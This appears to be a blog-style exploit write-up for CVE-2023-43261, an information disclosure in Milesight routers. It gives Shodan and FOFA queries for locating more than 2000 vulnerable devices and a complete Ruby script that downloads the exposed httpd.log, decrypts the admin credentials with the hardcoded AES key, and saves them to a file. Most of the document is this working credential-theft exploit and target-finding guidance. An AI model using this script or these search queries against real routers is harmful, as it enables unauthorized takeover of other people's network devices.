CVE-2023-43261

Milesight ursalink routers information disclosure to authentication bypass

"An information disclosure in Milesight UR5X, UR32L, UR32, UR35, UR41 before v35.3.0.7 allows attackers to access sensitive router components." -nvd.nist.gov Sensitive information on ursalink milesight routers can be easily viewed without any restriction at the URL path /lang/log/httpd.log, this file contains AES-128-CBC encrypted credentials including the admin username and password.
[*] milesight_logfile.png
[*] milesight_dashboard.png
These credentials can be decrypted due to the hardcoded AES key in a javascript file. Reference: win3zz

Looking for vulnerable targets

A shodan dork to search milesight routers is http.html:rt_title , I went through this to ensure only the vulnerable results and found this FOFA query: fid="GbJynh0UR3NG6v4f7DclRQ==" As we can se, it's giving more than 2000 vulnerable routers.
[*] fofa_milesight.png

Exploit code

I wrote this ruby exploit based on details i read online
require 'http'
require 'openssl'

puts """
CVE-2023-43261
Milesight routers information disclosure exploit
By komodo\n
"""

def d64(text)
    return text.unpack("m")[0]
end

$cont=1
$dirname="Milesight_dump"
def dir(name=$dirname)
    begin
        Dir.mkdir(name)
        Dir.chdir(name)
    rescue Errno::EEXIST
        $cont+=1
        dir("#{$dirname}-#{$cont}")
    end
end

def decrypt(password)
    begin
        cipher = OpenSSL::Cipher.new('AES-128-CBC')
        cipher.decrypt
        cipher.key, cipher.iv = "1"*16, "2"*16
        decrypted_data = cipher.update(d64(password))+cipher.final
        return decrypted_data.unpack('C*').pack('C*').force_encoding('utf-8').to_s
    rescue 
        return password
    end
end

def main(url)
    url.delete_suffix!("/") unless url[-1..-1] != "/"
    @ctx = OpenSSL::SSL::SSLContext.new()
    @ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE
    r=HTTP.get("#{url}/lang/log/httpd.log", :ssl_context=>@ctx)
    if r.code == 200 && r.body.to_s.include?("password")
        dir()
        File.open("!target.txt", "w"){|f|f.write(url)}
        credentials = r.body.to_s.scan(/"username":"(.+?)","password":"(.+?)"/)
        log = File.open("credentials.txt", "w")
        credentials.each do |username, password|
            log.write("Username: #{username}, Password: #{decrypt(password)}\n")
        end
        log.close()
        puts File.read("credentials.txt")
        puts "\nCredentials saved on '#{Dir.pwd.split("/")[-1]}/credentials.txt' file."
    else   
        puts "Not vulnerable! :(\n"
    end
end

begin
    print "Base URL: "
    main(gets.chomp)
rescue => e 
    abort(e.to_s)
end
[*] exploit_execution.png
The speed of exploiting the vulnerability from this code snippet varies depending on how large the file containing the encrypted credentials is.